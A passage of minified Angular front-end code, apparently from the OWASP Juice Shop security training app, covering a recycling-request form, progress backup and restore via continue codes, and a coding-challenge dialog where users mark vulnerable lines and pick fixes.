CLING_PICKUP",{pickupdate:e.pickupDate}).subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}):this.translate.get("CONFIRM_RECYCLING_BOX").subscribe(o=>{this.snackBarHelperService.open(o,"confirmBar")},o=>{this.snackBarHelperService.open(o,"confirmBar")}),this.addressComponent.load(),this.initRecycle(),this.resetForm()},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}findAll(){this.recycleService.find().subscribe(e=>{this.recycles=e},e=>{console.log(e)})}resetForm(){this.addressId=void 0,this.recycleQuantityControl.setValue(""),this.recycleQuantityControl.markAsPristine(),this.recycleQuantityControl.markAsUntouched(),this.pickUpDateControl.setValue(""),this.pickUpDateControl.markAsPristine(),this.pickUpDateControl.markAsUntouched(),this.pickup.setValue(!1)}getMessage(e){this.addressId=e}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ie),t.Y36(R),t.Y36(b.e),t.Y36(rt),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-recycle"]],viewQuery:function(e,o){if(1&e&&t.Gf(di,7),2&e){let i;t.iGM(i=t.CRH())&&(o.addressComponent=i.first)}},decls:41,vars:16,consts:[["fxLayout","row","fxLayoutGap","5%","fxLayout.lt-md","column","fxLayoutGap.lt-md","20px",1,"mat-elevation-z6","mat-own-card"],["fxLayout","column","fxLayoutGap","20px","fxFlex","50%"],["translate",""],["id","recycle-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","",3,"formControl"],["type","number","matInput","",3,"formControl","placeholder"],["translate","",4,"ngIf"],["translate","",3,"translateParams",4,"ngIf"],[1,"mat-elevation-z0",3,"addNewAddressDiv","emitSelection"],["addressComp",""],["appearance","outline",4,"ngIf"],[3,"formControl",4,"ngIf"],["type","submit","id","recycleButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"fas","fa-paper-plane","fa-lg"],["fxFlex","50%"],["fxLayout","column","fxLayoutGap","20px","fxLayoutAlign","center"],["translate","",1,"responsibility-header"],["fxLayout","row","fxLayoutGap","20px",1,"mat-elevation-z0"],["mat-card-image","",3,"src"],[1,"fill-remaining-space"],["translate","",3,"translateParams"],["appearance","outline"],["matInput","",3,"formControl","matDatepicker"],["matSuffix","",3,"for"],["picker",""],[3,"formControl"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div",1)(2,"h1",2),t._uU(3,"TITLE_RECYCLE"),t.qZA(),t.TgZ(4,"div",3)(5,"mat-form-field",4)(6,"mat-label",2),t._uU(7,"LABEL_REQUESTOR"),t.qZA(),t._UZ(8,"input",5),t.qZA(),t.TgZ(9,"mat-form-field",4)(10,"mat-label",2),t._uU(11,"LABEL_QUANTITY"),t.qZA(),t._UZ(12,"input",6),t.ALo(13,"translate"),t.YNc(14,mi,2,0,"mat-error",7),t.YNc(15,hi,2,2,"mat-error",8),t.qZA(),t.TgZ(16,"app-address",9,10),t.NdJ("emitSelection",function(r){return o.getMessage(r)}),t.qZA(),t.YNc(18,fi,8,4,"mat-form-field",11),t.YNc(19,Ci,3,4,"mat-checkbox",12),t.qZA(),t.TgZ(20,"button",13),t.NdJ("click",function(){return o.save()}),t._UZ(21,"i",14),t._uU(22),t.ALo(23,"translate"),t.qZA()(),t.TgZ(24,"div",15)(25,"div",16)(26,"h3",17),t._uU(27,"SECTION_PRESS_JUICE_RESPONSIBLY"),t.qZA(),t.TgZ(28,"mat-card",18),t._UZ(29,"img",19),t.TgZ(30,"mat-card-content")(31,"div")(32,"small"),t._uU(33,"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. "),t.qZA()()()(),t.TgZ(34,"mat-card",18),t._UZ(35,"img",19),t.TgZ(36,"mat-card-content")(37,"div")(38,"small"),t._uU(39,"Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. "),t.qZA()()()(),t._UZ(40,"span",20),t.qZA()()()),2&e&&(t.xp6(8),t.Q6J("formControl",o.requestorControl),t.xp6(4),t.Q6J("formControl",o.recycleQuantityControl)("placeholder",t.lcZ(13,12,"IN_LITERS_PLACEHOLDER")),t.xp6(2),t.Q6J("ngIf",o.recycleQuantityControl.invalid&&o.recycleQuantityControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.recycleQuantityControl.invalid&&(o.recycleQuantityControl.errors.min||o.recycleQuantityControl.errors.max)),t.xp6(1),t.Q6J("addNewAddressDiv",!1),t.xp6(2),t.Q6J("ngIf",o.pickup.value&&o.recycleQuantityControl.value>100),t.xp6(1),t.Q6J("ngIf",o.recycleQuantityControl.value>100),t.xp6(1),t.Q6J("disabled",void 0===o.addressId||o.recycleQuantityControl.invalid||o.pickUpDateControl.invalid),t.xp6(2),t.hij(" ",t.lcZ(23,14,"BTN_SUBMIT")," "),t.xp6(7),t.Q6J("src",o.topImage,t.LSH),t.xp6(6),t.Q6J("src",o.bottomImage,t.LSH))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.Wh,p.yH,s.Fj,s.wV,s.JJ,s.oH,f.TO,f.KE,f.hX,f.R9,x.lW,T.a8,T.dn,T.G2,B.Nt,Xt.oG,Et.Mq,Et.hl,Et.nW,ee,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{margin-left:20%;margin-top:5px;width:60%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:10%;margin-right:10%}mat-card[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{height:100px;width:auto}mat-checkbox[_ngcontent-%COMP%]{margin-bottom:20px}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}"]}),n})(),ot=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Challenges"}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}repeatNotification(e){return this.http.get(this.hostServer+"/rest/repeat-notification",{params:{challenge:e},responseType:"text"}).pipe((0,_.K)(o=>{throw o}))}continueCode(){return this.http.get(this.hostServer+"/rest/continue-code").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}continueCodeFindIt(){return this.http.get(this.hostServer+"/rest/continue-code-findIt").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}continueCodeFixIt(){return this.http.get(this.hostServer+"/rest/continue-code-fixIt").pipe((0,C.U)(e=>e.continueCode),(0,_.K)(e=>{throw e}))}restoreProgress(e){return this.http.put(this.hostServer+"/rest/continue-code/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}restoreProgressFindIt(e){return this.http.put(this.hostServer+"/rest/continue-code-findIt/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}restoreProgressFixIt(e){return this.http.put(this.hostServer+"/rest/continue-code-fixIt/apply/"+e,{}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Ue=c(9441),xi=c(5254),bt=c(1086);let Le=(()=>{class n{constructor(e,o,i,r){this.cookieService=e,this.challengeService=o,this.snackBarHelperService=i,this.snackBar=r,this.VERSION=1}save(e="owasp_juice_shop"){const o={version:this.VERSION};o.scoreBoard={scoreBoardVersion:localStorage.getItem("score-board-version")?JSON.parse(String(localStorage.getItem("score-board-version"))):void 0,displayedDifficulties:localStorage.getItem("displayedDifficulties")?JSON.parse(String(localStorage.getItem("displayedDifficulties"))):void 0,showSolvedChallenges:localStorage.getItem("showSolvedChallenges")?JSON.parse(String(localStorage.getItem("showSolvedChallenges"))):void 0,showDisabledChallenges:localStorage.getItem("showDisabledChallenges")?JSON.parse(String(localStorage.getItem("showDisabledChallenges"))):void 0,showOnlyTutorialChallenges:localStorage.getItem("showOnlyTutorialChallenges")?JSON.parse(String(localStorage.getItem("showOnlyTutorialChallenges"))):void 0,displayedChallengeCategories:localStorage.getItem("displayedChallengeCategories")?JSON.parse(String(localStorage.getItem("displayedChallengeCategories"))):void 0},o.banners={welcomeBannerStatus:this.cookieService.get("welcomebanner_status")?this.cookieService.get("welcomebanner_status"):void 0,cookieConsentStatus:this.cookieService.get("cookieconsent_status")?this.cookieService.get("cookieconsent_status"):void 0},o.language=this.cookieService.get("language")?this.cookieService.get("language"):void 0;const i=this.challengeService.continueCode(),r=this.challengeService.continueCodeFindIt(),l=this.challengeService.continueCodeFixIt();(0,Nt.D)([i,r,l]).subscribe(([m,v,A])=>{o.continueCode=m,o.continueCodeFindIt=v,o.continueCodeFixIt=A;const q=new Blob([JSON.stringify(o)],{type:"text/plain;charset=utf-8"});(0,Ue.saveAs)(q,`${e}-${(new Date).toISOString().split("T")[0]}.json`)},()=>{console.log("Failed to retrieve continue code(s) for backup from server. Using cookie values as fallback."),o.continueCode=this.cookieService.get("continueCode")?this.cookieService.get("continueCode"):void 0,o.continueCodeFindIt=this.cookieService.get("continueCodeFindIt")?this.cookieService.get("continueCodeFindIt"):void 0,o.continueCodeFixIt=this.cookieService.get("continueCodeFixIt")?this.cookieService.get("continueCodeFixIt"):void 0;const m=new Blob([JSON.stringify(o)],{type:"text/plain;charset=utf-8"});(0,Ue.saveAs)(m,`${e}-${(new Date).toISOString().split("T")[0]}.json`)})}restore(e){return(0,xi.D)(e.text().then(o=>{const i=JSON.parse(o);i.version===this.VERSION?(this.restoreLocalStorage("score-board-version",i.scoreBoard?.scoreBoardVersion),this.restoreLocalStorage("displayedDifficulties",i.scoreBoard?.displayedDifficulties),this.restoreLocalStorage("showSolvedChallenges",i.scoreBoard?.showSolvedChallenges),this.restoreLocalStorage("showDisabledChallenges",i.scoreBoard?.showDisabledChallenges),this.restoreLocalStorage("showOnlyTutorialChallenges",i.scoreBoard?.showOnlyTutorialChallenges),this.restoreLocalStorage("displayedChallengeCategories",i.scoreBoard?.displayedChallengeCategories),this.restoreCookie("welcomebanner_status",i.banners?.welcomeBannerStatus),this.restoreCookie("cookieconsent_status",i.banners?.cookieConsentStatus),this.restoreCookie("language",i.language),this.restoreCookie("continueCodeFindIt",i.continueCodeFindIt),this.restoreCookie("continueCodeFixIt",i.continueCodeFixIt),this.restoreCookie("continueCode",i.continueCode),this.snackBar.open("Backup has been restored from "+e.name,"Apply changes now",{duration:1e4}).onAction().subscribe(()=>{const l=i.continueCode?this.challengeService.restoreProgress(encodeURIComponent(i.continueCode)):(0,bt.of)(!0),m=i.continueCodeFindIt?this.challengeService.restoreProgressFindIt(encodeURIComponent(i.continueCodeFindIt)):(0,bt.of)(!0),v=i.continueCodeFixIt?this.challengeService.restoreProgressFixIt(encodeURIComponent(i.continueCodeFixIt)):(0,bt.of)(!0);(0,Nt.D)([l,m,v]).subscribe(()=>{location.reload()},A=>{console.log(A)})})):this.snackBarHelperService.open(`Version ${i.version} is incompatible with expected version ${this.VERSION}`,"errorBar")}).catch(o=>{this.snackBarHelperService.open(`Backup restore operation failed: ${o.message}`,"errorBar")}))}restoreCookie(e,o){if(o){const i=new Date;i.setFullYear(i.getFullYear()+1),this.cookieService.put(e,o,{expires:i})}else this.cookieService.remove(e)}restoreLocalStorage(e,o){o?localStorage.setItem(e,JSON.stringify(o)):localStorage.removeItem(e)}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(I.N_),t.LFG(ot),t.LFG(J.H),t.LFG(ut.ux))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),ne=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets"}get(e){return this.http.get(`${this.host}/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}challenges(){return this.http.get(`${this.host}`).pipe((0,C.U)(e=>e.challenges),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),bi=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets/fixes"}get(e){return this.http.get(this.host+`/${e}`).pipe((0,C.U)(o=>o),(0,_.K)(o=>{throw o}))}check(e,o){return this.http.post(this.host,{key:e,selectedFix:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Ti=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/snippets/verdict"}check(e,o){return this.http.post(this.host,{key:e,selectedLines:o}).pipe((0,C.U)(i=>i),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Mt=c(3848),oe=c(8225);function Ai(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",5),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.selectLines(r.lineNumber))}),t._uU(1),t.qZA()}if(2&n){const e=a.$implicit;t.Q6J("id","line"+e.lineNumber),t.xp6(1),t.Oqu(e.marked?"\\u2705":"\\u{1f532}")}}let yi=(()=>{class n{constructor(){this.code="",this.addLine=new t.vpe,this.langs=["javascript","typescript","json","yaml"]}ngOnInit(){this.lineMarkers=this.code.split("\\n").map((e,o)=>({lineNumber:o+1,marked:!1}))}selectLines(e){const o=this.lineMarkers[e-1];o.marked=!o.marked;const i=[];for(const{marked:r,lineNumber:l}of this.lineMarkers)r&&i.push(l);this.addLine.emit(i)}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-code-area"]],inputs:{code:"code",vulnLines:"vulnLines"},outputs:{addLine:"addLine"},decls:6,vars:4,consts:[["id","code-area"],["id","code"],["id","emphasize"],["class","lineMarker",3,"id","click",4,"ngFor","ngForOf"],[3,"highlight","lineNumbers","languages"],[1,"lineMarker",3,"id","click"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"pre",1)(2,"div",2),t.YNc(3,Ai,2,2,"div",3),t._uU(4,"\\n "),t.qZA(),t._UZ(5,"code",4),t.qZA()()),2&e&&(t.xp6(3),t.Q6J("ngForOf",o.lineMarkers),t.xp6(2),t.Q6J("highlight",o.code)("lineNumbers",!0)("languages",o.langs))},dependencies:[h.sg,oe.y$],styles:["pre[_ngcontent-%COMP%] code.hljs[_ngcontent-%COMP%]{display:block;overflow-x:auto;padding:1em}code.hljs[_ngcontent-%COMP%]{padding:3px 5px}.hljs[_ngcontent-%COMP%]{background:white;color:#000}.hljs-comment[_ngcontent-%COMP%], .hljs-quote[_ngcontent-%COMP%], .hljs-variable[_ngcontent-%COMP%]{color:green}.hljs-keyword[_ngcontent-%COMP%], .hljs-selector-tag[_ngcontent-%COMP%], .hljs-built_in[_ngcontent-%COMP%], .hljs-name[_ngcontent-%COMP%], .hljs-tag[_ngcontent-%COMP%]{color:#00f}.hljs-string[_ngcontent-%COMP%], .hljs-title[_ngcontent-%COMP%], .hljs-section[_ngcontent-%COMP%], .hljs-attribute[_ngcontent-%COMP%], .hljs-literal[_ngcontent-%COMP%], .hljs-template-tag[_ngcontent-%COMP%], .hljs-template-variable[_ngcontent-%COMP%], .hljs-type[_ngcontent-%COMP%], .hljs-addition[_ngcontent-%COMP%]{color:#a31515}.hljs-deletion[_ngcontent-%COMP%], .hljs-selector-attr[_ngcontent-%COMP%], .hljs-selector-pseudo[_ngcontent-%COMP%], .hljs-meta[_ngcontent-%COMP%]{color:#2b91af}.hljs-doctag[_ngcontent-%COMP%]{color:gray}.hljs-attr[_ngcontent-%COMP%]{color:red}.hljs-symbol[_ngcontent-%COMP%], .hljs-bullet[_ngcontent-%COMP%], .hljs-link[_ngcontent-%COMP%]{color:#00b0e8}.hljs-emphasis[_ngcontent-%COMP%]{font-style:italic}.hljs-strong[_ngcontent-%COMP%]{font-weight:700}#emphasize[_ngcontent-%COMP%]{float:left;padding:1em .5em}#code[_ngcontent-%COMP%]{width:63em}.lineMarker[_ngcontent-%COMP%]{cursor:pointer}"]}),n})();var Pe=c(5244);const Zi=["codeComponent"];function wi(n,a){if(1&n&&(t.TgZ(0,"div"),t._UZ(1,"td-ngx-text-diff",4,5),t.qZA()),2&n){const e=t.oxw().$implicit,o=t.oxw();t.xp6(1),t.Q6J("left",o.snippet)("right",null==e?null:e.fix)("format",o.format)}}function Si(n,a){if(1&n&&(t.TgZ(0,"div",2),t.YNc(1,wi,3,3,"div",3),t.qZA()),2&n){const e=a.index,o=t.oxw();t.xp6(1),t.Q6J("ngIf",o.selectedFix===e)}}let ki=(()=>{class n{constructor(e,o){this.cookieService=e,this.differs=o,this.snippet="",this.fixes=[],this.selectedFix=0,this.randomFixes=[],this.format="SideBySide",this.cookieService=e,this.differ=this.differs.find({}).create()}ngOnInit(){this.cookieService.hasKey("code-fixes-component-format")?this.format=this.cookieService.get("code-fixes-component-format"):(this.format="LineByLine",this.cookieService.put("code-fixes-component-format","LineByLine"))}ngDoCheck(){try{const e=this.differ.diff({"diff-format":this.codeComponent.format});e&&e.forEachChangedItem(o=>{this.format=o.currentValue,this.cookieService.put("code-fixes-component-format",this.format)})}catch{}}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(I.N_),t.Y36(t.aQg))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-code-fixes"]],viewQuery:function(e,o){if(1&e&&t.Gf(Zi,5),2&e){let i;t.iGM(i=t.CRH())&&(o.codeComponent=i.first)}},inputs:{snippet:"snippet",fixes:"fixes",selectedFix:"selectedFix",randomFixes:"randomFixes",format:"format"},decls:2,vars:1,consts:[[1,"wrapper"],["id","code",4,"ngFor","ngForOf"],["id","code"],[4,"ngIf"],[3,"left","right","format"],["codeComponent",""]],template:function(e,o){1&e&&(t.TgZ(0,"section",0),t.YNc(1,Si,2,1,"div",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("ngForOf",o.randomFixes))},dependencies:[h.sg,h.O5,Pe.zB],styles:["#code[_ngcontent-%COMP%]{width:63em}.wrapper[_ngcontent-%COMP%]{padding-top:16px}"]}),n})();function Ii(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"app-code-area",22),t.NdJ("addLine",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.addLine(i))}),t.qZA()}if(2&n){const e=t.oxw();t.Q6J("code",null==e.snippet?null:e.snippet.snippet)("vulnLines",null==e.snippet?null:e.snippet.vulnLines)}}function Oi(n,a){1&n&&(t.TgZ(0,"pre"),t._uU(1," "),t.TgZ(2,"code",23),t._uU(3,"LOADING_CODE_SNIPPET"),t.qZA(),t._uU(4,"\\n "),t.qZA())}function Ui(n,a){if(1&n&&(t._uU(0),t.ALo(1,"translate"),t.TgZ(2,"mat-icon",24),t._uU(3),t.qZA()),2&n){const e=t.oxw();t.hij(" ",t.lcZ(1,3,"TAB_FIX_IT")," "),t.xp6(2),t.Q6J("color",e.lockColor()),t.xp6(1),t.Oqu(e.lockIcon())}}function Li(n,a){if(1&n&&t._UZ(0,"app-code-fixes",25),2&n){const e=t.oxw();t.Q6J("snippet",null==e.snippet?null:e.snippet.snippet)("fixes",e.fixes)("randomFixes",e.randomFixes)("selectedFix",e.selectedFix)}}function Pi(n,a){if(1&n&&(t.TgZ(0,"mat-card",26),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.hij(" ",e.hint," ")}}function Ni(n,a){if(1&n&&(t.TgZ(0,"mat-card"),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.Tol("warn"===e.resultColor()?"warn-notification":"accent-notification"),t.xp6(1),t.hij(" ",e.explanation," ")}}function Ei(n,a){if(1&n&&(t.TgZ(0,"option",30),t._uU(1),t.qZA()),2&n){const e=a.index,o=t.oxw(2);t.Q6J("value",e)("selected",o.selectedFix===e),t.xp6(1),t.hij("Fix ",e+1,"")}}function Mi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-form-field",27)(1,"mat-label",23),t._uU(2,"LABEL_CORRECT_FIX"),t.qZA(),t.TgZ(3,"select",28),t.NdJ("change",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.changeFix(i))}),t.YNc(4,Ei,2,3,"option",29),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.Q6J("ngForOf",e.randomFixes)}}function Di(n,a){if(1&n&&(t.TgZ(0,"a",31)(1,"button",32)(2,"mat-icon",33),t._uU(3,"thumb_up"),t.qZA()()()),2&n){const e=t.oxw();t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.dialogData.name+"&entry.435235279=Coding+Challenge&entry.1734944650=Yes",t.LSH)}}function qi(n,a){if(1&n&&(t.TgZ(0,"a",31)(1,"button",32)(2,"mat-icon",34),t._uU(3,"thumb_down"),t.qZA()()()),2&n){const e=t.oxw();t.Q6J("href","https://docs.google.com/forms/d/e/1FAIpQLSdaNEuz0dzFA2sexCa0AJ4QOb2OYdEL04eQOLFD2Y4T-BW6ag/viewform?usp=pp_url&entry.384948954="+e.dialogData.name+"&entry.435235279=Coding+Challenge&entry.1734944650=No",t.LSH)}}function Fi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",35),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.checkLines())}),t.TgZ(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"mat-icon",36),t._uU(5),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",e.solved.findIt),t.xp6(2),t.hij(" ",t.lcZ(3,4,"BTN_SUBMIT"),""),t.xp6(2),t.Q6J("color",e.resultColor()),t.xp6(1),t.hij(" ",e.resultIcon()," ")}}function Bi(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.checkFix())}),t.TgZ(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"mat-icon",36),t._uU(5),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",e.solved.fixIt),t.xp6(2),t.hij(" ",t.lcZ(3,4,"BTN_SUBMIT"),""),t.xp6(2),t.Q6J("color",e.resultColor()),t.xp6(1),t.hij(" ",e.resultIcon()," ")}}const Ri=function(n){return{"btns-findit":n}};var H=(()=>{return(n=H||(H={}))[n.Undecided=0]="Undecided",n[n.Right=1]="Right",n[n.Wrong=2]="Wrong",H;var n})();let Ne=(()=>{class n{constructor(e,o,i,r,l,m,v){this.dialogData=e,this.configurationService=o,this.codeSnippetService=i,this.vulnLinesService=r,this.codeFixesService=l,this.challengeService=m,this.cookieService=v,this.snippet=null,this.fixes=null,this.selectedFix=0,this.tab=new s.p4(0),this.lock=H.Undecided,this.result=H.Undecided,this.hint=null,this.explanation=null,this.solved={findIt:!1,fixIt:!1},this.showFeedbackButtons=!0,this.randomFixes=[],this.addLine=A=>{this.selectedLines=A},this.setFix=A=>{this.selectedFix=A,this.explanation=null},this.toggleTab=A=>{this.tab.setValue(A),this.result=H.Undecided,0===A&&this.solved.findIt&&(this.result=H.Right),1===A&&this.solved.fixIt&&(this.result=H.Right)},this.checkFix=()=>{this.codeFixesService.check(this.dialogData.key,this.randomFixes[this.selectedFix].index).subscribe(A=>{this.setVerdict(A.verdict),this.explanation=A.explanation})},this.checkLines=()=>{this.vulnLinesService.check(this.dialogData.key,this.selectedLines).subscribe(A=>{this.setVerdict(A.verdict),this.hint=A.hint})},this.setVerdict=A=>{this.result!==H.Right&&(A?(0===this.tab.value?(this.solved.findIt=!0,this.challengeService.continueCodeFindIt().subscribe(q=>{if(!q)throw new Error("Received invalid continue code from the server!");const Y=new Date;Y.setFullYear(Y.getFullYear()+1),this.cookieService.put("continueCodeFindIt",q,{expires:Y})},q=>{console.log(q)})):(this.solved.fixIt=!0,this.challengeService.continueCodeFixIt().subscribe(q=>{if(!q)throw new Error("Received invalid continue code from the server!");const Y=new Date;Y.setFullYear(Y.getFullYear()+1),this.cookieService.put("continueCodeFixIt",q,{expires:Y})},q=>{console.log(q)})),this.result=H.Right,this.lock=H.Right,c.e(103).then(c.bind(c,8103)).then(q=>{q.shootConfetti()}).then(()=>{0===this.tab.value&&null!==this.fixes&&this.toggleTab(1)})):this.result=H.Wrong)}}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{this.showFeedbackButtons=e.challenges.showFeedbackButtons},e=>{console.log(e)}),this.codeSnippetService.get(this.dialogData.key).subscribe(e=>{this.snippet=e,this.solved.findIt=!1,this.dialogData.codingChallengeStatus>=1&&(this.result=H.Right,this.lock=H.Right,this.solved.findIt=!0)},e=>{this.snippet={snippet:e.error}}),this.codeFixesService.get(this.dialogData.key).subscribe(e=>{this.fixes=e.fixes,this.fixes&&this.shuffle(),this.solved.fixIt=this.dialogData.codingChallengeStatus>=2},()=>{this.fixes=null})}changeFix(e){this.setFix(parseInt(e.target.value,10))}lockIcon(){if(null===this.fixes)return"lock";switch(this.lock){case H.Right:return"lock_open";case H.Wrong:case H.Undecided:return"lock"}}lockColor(){switch(this.lockIcon()){case"lock_open":return"accent";case"lock":return"warn"}}shuffle(){this.randomFixes=this.fixes.map((e,o)=>({fix:e,index:o,sort:Math.random()})).sort((e,o)=>e.sort-o.sort).map(({fix:e,index:o})=>({fix:e,index:o}))}resultIcon(){switch(this.result){case H.Right:return"check";case H.Wrong:return"clear";default:return"send"}}resultColor(){switch(this.resultIcon()){case"check":return"accent";case"clear":return"warn"}}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(b.e),t.Y36(ne),t.Y36(Ti),t.Y36(bi),t.Y36(ot),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["code-snippet"]],hostAttrs:[1,"code-snippet"],decls:32,vars:26,consts:[["mat-dialog-title",""],["id","code-snippet",1,"mat-typography"],["mat-stretch-tabs","",3,"selectedIndex","selectedIndexChange"],[3,"label"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],[3,"code","vulnLines","addLine",4,"ngIf"],[4,"ngIf"],[3,"disabled"],["mat-tab-label",""],["fxLayout","column"],[3,"snippet","fixes","randomFixes","selectedFix",4,"ngIf"],[1,"dialog-action"],["class","primary-notification",4,"ngIf"],[3,"class",4,"ngIf"],[1,"btns",3,"ngClass"],["class","fix","appearance","fill",4,"ngIf"],["target","_blank",3,"href",4,"ngIf"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog","id","findItCloseButton",1,"close-dialog","buttons",3,"mat-dialog-close"],[1,"material-icons"],["mat-stroked-button","","id","findItSubmitButton",3,"disabled","click",4,"ngIf"],["mat-stroked-button","","id","fixItSubmitButton",3,"disabled","click",4,"ngIf"],[3,"code","vulnLines","addLine"],["translate",""],[1,"materaial-icons-outlined",3,"color"],[3,"snippet","fixes","randomFixes","selectedFix"],[1,"primary-notification"],["appearance","fill",1,"fix"],["matNativeControl","",3,"change"],[3,"value","selected",4,"ngFor","ngForOf"],[3,"value","selected"],["target","_blank",3,"href"],["mat-icon-button",""],["color","accent"],["color","warn"],["mat-stroked-button","","id","findItSubmitButton",3,"disabled","click"],[3,"color"],["mat-stroked-button","","id","fixItSubmitButton",3,"disabled","click"]],template:function(e,o){1&e&&(t.TgZ(0,"h2",0),t._uU(1),t.ALo(2,"translate"),t.qZA(),t.TgZ(3,"mat-dialog-content",1)(4,"mat-tab-group",2),t.NdJ("selectedIndexChange",function(r){return o.toggleTab(r)}),t.TgZ(5,"mat-tab",3),t.ALo(6,"translate"),t.TgZ(7,"div",4)(8,"div",5),t.YNc(9,Ii,1,2,"app-code-area",6),t.YNc(10,Oi,5,0,"pre",7),t.qZA()()(),t.TgZ(11,"mat-tab",8),t.YNc(12,Ui,4,5,"ng-template",9),t.TgZ(13,"div",10)(14,"div",5),t.YNc(15,Li,1,4,"app-code-fixes",11),t.qZA()()()()(),t.TgZ(16,"mat-dialog-actions",12)(17,"div"),t.YNc(18,Pi,2,1,"mat-card",13),t.YNc(19,Ni,2,3,"mat-card",14),t.TgZ(20,"div",15),t.YNc(21,Mi,5,1,"mat-form-field",16),t.YNc(22,Di,4,1,"a",17),t.YNc(23,qi,4,1,"a",17),t.TgZ(24,"button",18)(25,"i",19),t._uU(26," close "),t.qZA(),t.TgZ(27,"span"),t._uU(28),t.ALo(29,"translate"),t.qZA()(),t.YNc(30,Fi,6,6,"button",20),t.YNc(31,Bi,6,6,"button",21),t.qZA()()()),2&e&&(t.xp6(1),t.AsE("",t.lcZ(2,18,"TITLE_CODING_CHALLENGE"),": 